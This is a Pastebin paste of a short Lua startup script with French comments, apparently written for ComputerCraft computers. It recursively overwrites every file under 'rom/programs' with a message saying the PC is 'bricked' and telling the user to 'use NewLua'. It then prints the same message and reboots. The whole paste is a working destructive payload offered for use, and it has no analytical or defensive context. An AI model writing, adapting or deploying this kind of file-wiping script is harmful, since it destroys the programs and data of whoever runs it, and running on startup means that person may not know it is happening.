Advertisement
Leprofourbus

startup.lua

Dec 14th, 2024 (edited)
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. -- Message à insérer dans chaque fichier de commande
  2. local message = [[
  3. print("Oops, your PC is bricked! To avoid this, use NewLua.")
  4. ]]
  5.  
  6. -- Fonction pour remplacer le contenu des fichiers dans un dossier
  7. local function replaceFilesInFolder(folderPath)
  8. local files = fs.list(folderPath)
  9. for _, file in ipairs(files) do
  10. local fullPath = fs.combine(folderPath, file)
  11. if fs.isDir(fullPath) then
  12. -- Si c'est un dossier, appliquer récursivement
  13. replaceFilesInFolder(fullPath)
  14. else
  15. -- Écrire le message dans le fichier
  16. local fileHandle = fs.open(fullPath, "w")
  17. fileHandle.write(message)
  18. fileHandle.close()
  19. print("Fichier remplacé : " .. fullPath)
  20. end
  21. end
  22. end
  23.  
  24. -- Dossier cible (le dossier des commandes par défaut)
  25. local targetFolder = "rom/programs"
  26.  
  27. -- Vérifier si le dossier cible existe
  28. if fs.exists(targetFolder) and fs.isDir(targetFolder) then
  29. print("Modification des fichiers dans " .. targetFolder)
  30. replaceFilesInFolder(targetFolder)
  31. print("Tous les fichiers ont été remplacés.")
  32. else
  33. print("Erreur : Le dossier " .. targetFolder .. " n'existe pas ou est inaccessible.")
  34. end
  35.  
  36. -- Message avant redémarrage
  37. print("\nOops, your PC is bricked! Redémarrage dans 5 secondes...")
  38. sleep(5) -- Attendre 5 secondes
  39.  
  40. -- Redémarrage du PC
  41. os.reboot()
  42.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement